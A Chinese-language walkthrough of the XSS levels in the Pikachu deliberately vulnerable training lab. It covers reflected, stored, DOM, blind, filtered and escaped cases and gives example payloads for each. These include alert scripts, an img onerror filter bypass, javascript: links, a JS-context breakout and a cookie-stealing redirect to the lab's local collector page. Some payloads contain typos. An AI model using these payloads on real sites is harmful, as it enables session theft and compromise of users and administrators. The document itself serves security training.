pikachu通关指南
1.反射性get
1.遇到的第一个障碍点就在于输入长度的限制,这种情况可以直接在前端的属性值进行修改,从而绕过输入长度的限制.
2.然后我们需要知道我们所输入的数据输出在了html文档中的什么地方,这点决定我们playload的写法.我们可以发现
<p class="notice">who is {your input},i dont care!</p>
所以我们可以直接注入最普通的方式.
<script>alert(document.domain)</script>
3.get型的显著特征就是输入数据可以反馈在url地址栏中.
2.反射型post
1.在用户登录处是没有什么漏洞的.
2.我们假设在此以窃取当前用户的cookie为目的话.
3.本处的的漏洞点与第一题一样.
4.本题注入代码
<script>document.location="http://127.0.0.1/pikachu-master/pkxss/xcookie/post.html"</script>
5.下面我们来简要的分析一下post.html这个文件
- 这个文件的主题是一个表单,表单中有到另一个cookie.php文件的重定向.
- 重定向的同时,对这个文件中的get参数进行了赋值,赋予了当前的cookie值.
- 在cookie.html文件中做出了,更加详细的字符串处理,并把这些东西插入数据库.这个数据库也就我们后台网站的数据库.
3.存储型
1.这里我们处理输入数据到html文档中的形式和1,2类型完全相同.所以注入语句也都是一样的.
<script>alert(1)</script>
2.但是最大的不同就是后端对于这个post中数据的处理方式,我们可以在后端php种发现,他把数据插入到了mysql中,同时有没有任何过滤.
3.插入mysql时,再把数据库中的数据原封不动地输出到html文档中.所以数据库中的js脚本就会触发.
4.Dom型的xss(1)
1.仍然最重要的是,我们所输入数据后,这些数据html文档中是怎样体现的?他输出到了html文档中的什么地方
2.这次我们输入的数据输入到了标签
<a hrep="{your input}">what do you see?</a>
3.所以我们可以尝试注意下代码
<a hrep="javascript:alert(1)">what do you see?</a>
<a hrep="#" onclick=alert(11)>
4.dom在这里体现为,他修改了html纹的文档中的某些属性的值,我们输入的数据就是体现在这些被修改的值当中的.
5.Dom型的xss(2)
1.本处与上一个,手法一样,只不过我们所输入的数据输出点多藏了一层而已.
6.盲打
1.我们再次对输入页面进行分析,发现我们输入的数据没有输出在html的其他地方,因此我们可以说我们普通用户是无法被攻击的.
2.但是本题的数据,经过后端处理后,可以反馈在管理员用户的平台上,所以我们可以因此攻击到管理员,在这里我们也要明白一点,管理员也是客户端的一员.
3.我们所输入的数据还会载入管理员的数据库中,所以说这还是一个存储型的攻击.
7.过滤
1.本题的过滤方式在于使用正则表达式进行过滤
$message=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/','',$_GET['message']);
此处的过滤方式可以过滤到任何<script>的标签,双写之类的也是不管用的.所以我们可以考虑避免使用<script>
2.我们可以尝试构造下面语句
<img scr=x one rror=alert(1)>
8.html输出转译
1.本题最大的特点在于,当我们尝试把
<script>alert(1)</script>
输入的时候,这段代码居然被原模原样地输出在了html文档中,没有被当做脚本执行.
2.这说明后端可能对我们所输入的数据进行了处理
$message=htmlspecialchars($_GET['message']);
\\\
$html2="<a href='{$message}'>{$message}</a>";
3.那么我们该如何绕过呢?对于这个函数我们应该搞清楚,有哪些符号是没有被转译的.比如说",',<>等符号都是有可能被转译,所以我们可以尝试避免使用带这些符号的语句
<a href="javascript:alert(1)">
4.本函数的具体功能是将预定义的<和>转换成html实体,不是当作标签,而是当作一般的实体
9.href
1.本题有两种思路要么直接使用javascript:{}或者给予标签的合法闭合区构造可以执行的脚本语句
<a href="javascript:alert(1)">
我们可以发现这里难以构造合法的闭合语句
10.js输出
1.本题我们发现我们所输入的数据存在于一个<script>脚本里所以我们想办法注入到js代码中
2.尤其这里的js代码全部都写在一行,没有换行,安全性极差,可以注释掉一整行所以我们可以进行一下语句
1';alert(1);//